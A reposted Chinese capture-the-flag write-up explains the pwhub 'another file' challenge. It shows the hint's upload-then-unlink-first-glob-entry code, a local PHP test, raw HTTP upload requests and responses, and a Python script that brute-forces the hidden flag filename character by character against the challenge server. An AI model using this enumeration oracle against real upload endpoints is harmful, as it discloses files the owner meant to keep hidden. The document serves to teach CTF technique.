Pwhub-另一份文件-Writeup

转载

dengzhasong7076 于 2016-12-08 01:53:00 发布 59 收藏
文章标签： php shell
原文链接：http://www.cnblogs.com/iamstudy/articles/pwhub_other_file_writeup.html

v大佬实战经验出的一个题目，思路真的强。

```
题目介绍
http://54.223.145.113:88/
文件到底在哪里？我的文件又去了哪？
------------
12.6 21.30 发放hint，自行寻找
------------
12.7 08.08 Flag是个文件，不需要shell，并且听说放文件的神秘人拥有服务器最高权限
```

其中hint是：

```
@move_uploaded_file($_FILES['file']['tmp_name'], $dir.$name);
echo "上传成功！\n\n文件内容：\n\n";
echo file_get_contents($dir.$name);
$files = glob($dir . '*');
@unlink($files[0]);
```

题外话：后面v大佬给了上传验证代码。

```
$type = array("txt","");
$fileext = strtolower(fileext(@$_FILES['file']['name']));
if(in_array($fileext, $type)){
    ....
}
```

从一开始的fuzz来看，能上传.结尾以及.txt结尾的文件，这个验证真的很好奇，感觉有啥新姿势，于是一直在fuzz文件名，看能不能getshell。＝。＝，fuzz都跑烂了。

本地测试：

```
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<form action="" method="POST" enctype="multipart/form-data">
    <input type="file" value="" name="uploaded">
    <input type="text" value="1" name="Upload">
    <input type="submit" value="submit" name="submit">
</form>
</body>
</html>
<?php
$html = "";
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = "upload/";
    $target_path .= $_FILES[ 'uploaded' ][ 'name' ];
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        $html .= '<pre>Your image was not uploaded.</pre>';
    }
    else {
        $html .= "<pre>succesfully uploaded!</pre>";
        echo file_get_contents($target_path);
        $dir = "upload/";
        $files = glob($dir . '*');
        var_dump($files);
        @unlink($files[0]);
        var_dump($_FILES);
    }
}
?>
```

设置upload目录下面的flag文件不可删除：

```
chattr +i w333lc0met00pwnhu66
```

此题关键点是这个：

```
$files = glob($dir . '*');
@unlink($files[0]);
```

glob获取文件信息是按顺序排列的，如果目录中有一个文件存在的话，可以通过类似布尔盲注的思维来猜测。

```
POST /upload/up.php HTTP/1.1
Host: love.lemon:82
Content-Length: 389
Cache-Control: max-age=0
Origin: http://love.lemon:82
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryvTm38ZMUMpyXhzhY
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://love.lemon:82/upload/up.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Connection: close

------WebKitFormBoundaryvTm38ZMUMpyXhzhY
Content-Disposition: form-data; name="uploaded"; filename="v"
Content-Type: application/octet-stream

111
------WebKitFormBoundaryvTm38ZMUMpyXhzhY
Content-Disposition: form-data; name="Upload"

1
------WebKitFormBoundaryvTm38ZMUMpyXhzhY
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryvTm38ZMUMpyXhzhY--
```

```
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 07 Dec 2016 11:17:51 GMT
Content-Type: text/html
Content-Length: 631
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Vary: Accept-Encoding

<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>

<form action="" method="POST" enctype="multipart/form-data">
        <input type="file" value="" name="uploaded">
        <input type="text" value="1" name="Upload">
        <input type="submit" value="submit" name="submit">
</form>

</body>
</html>

111array(2) {
  [0]=>
  string(8) "upload/v"
  [1]=>
  string(26) "upload/w333lc0met00pwnhu66"
}
array(1) {
  ["uploaded"]=>
  array(5) {
    ["name"]=>
    string(1) "v"
    ["type"]=>
    string(24) "application/octet-stream"
    ["tmp_name"]=>
    string(14) "/tmp/phpAjXOVF"
```

```
POST /upload/up.php HTTP/1.1
Host: love.lemon:82
Content-Length: 389
Cache-Control: max-age=0
Origin: http://love.lemon:82
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryvTm38ZMUMpyXhzhY
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://love.lemon:82/upload/up.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Connection: close

------WebKitFormBoundaryvTm38ZMUMpyXhzhY
Content-Disposition: form-data; name="uploaded"; filename="x"
Content-Type: application/octet-stream

111
------WebKitFormBoundaryvTm38ZMUMpyXhzhY
Content-Disposition: form-data; name="Upload"

1
------WebKitFormBoundaryvTm38ZMUMpyXhzhY
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryvTm38ZMUMpyXhzhY--
```

```
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 07 Dec 2016 11:18:21 GMT
Content-Type: text/html
Content-Length: 631
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Vary: Accept-Encoding

<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>

<form action="" method="POST" enctype="multipart/form-data">
        <input type="file" value="" name="uploaded">
        <input type="text" value="1" name="Upload">
        <input type="submit" value="submit" name="submit">
</form>

</body>
</html>

111array(2) {
  [0]=>
  string(26) "upload/w333lc0met00pwnhu66"
  [1]=>
  string(8) "upload/x"
}
array(1) {
  ["uploaded"]=>
  array(5) {
    ["name"]=>
    string(1) "x"
    ["type"]=>
    string(24) "application/octet-stream"
    ["tmp_name"]=>
    string(14) "/tmp/php9tIWOW"
```

也就是当上传x的时候，`$files[1] = x`，w333lc0met00pwnhu66被设置不可更动文件，是删除不了的，所以x文件也就被保留下来了。这样就可以推测我们要找的文件的第一位是w

exp.py
untitled

```python
import requests
import time

payload = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://54.223.145.113:88/upload.php"
current_data = ""

def check(current_data):
    filename = current_data
    for p in payload:
        filename += p
        file = {'file': (filename, 'test')}
        r = requests.post(url, files=file)

        url1 = "http://54.223.145.113:88/upload/{filename}".format(filename=filename)
        r1 = requests.get(url1)
        if 'test' in r1.content:
            return chr(ord(p)-1)
        filename = current_data

for k in range(80):
    current_data += check(current_data)
    print "%dth data: %s" % (k,current_data)
```

```
1th data: w3
2th data: w33
3th data: w333
4th data: w333l
5th data: w333lc
6th data: w333lc0
7th data: w333lc0m
8th data: w333lc0me
9th data: w333lc0met
10th data: w333lc0met0
11th data: w333lc0met00
12th data: w333lc0met00p
13th data: w333lc0met00pw
14th data: w333lc0met00pwn
15th data: w333lc0met00pwnh
16th data: w333lc0met00pwnhu
17th data: w333lc0met00pwnhu6
18th data: w333lc0met00pwnhu66
19th data: w333lc0met00pwnhu66/
Traceback (most recent call last):
```

写脚本跑一跑就出来了。

后面问v大佬当时的实战是什么情况以及后续，通过这个思路得到一个敏感的文件，这个文件也被管理员设置不能删除。Orz

转载于:https://www.cnblogs.com/iamstudy/articles/pwhub_other_file_writeup.html